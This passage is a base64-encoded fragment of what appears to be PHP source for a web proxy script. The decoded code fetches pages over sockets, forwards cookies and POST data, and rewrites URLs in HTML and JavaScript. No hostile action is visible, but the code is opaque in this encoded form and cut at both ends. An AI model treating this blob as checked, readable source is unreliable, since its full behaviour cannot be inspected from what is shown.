gICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpX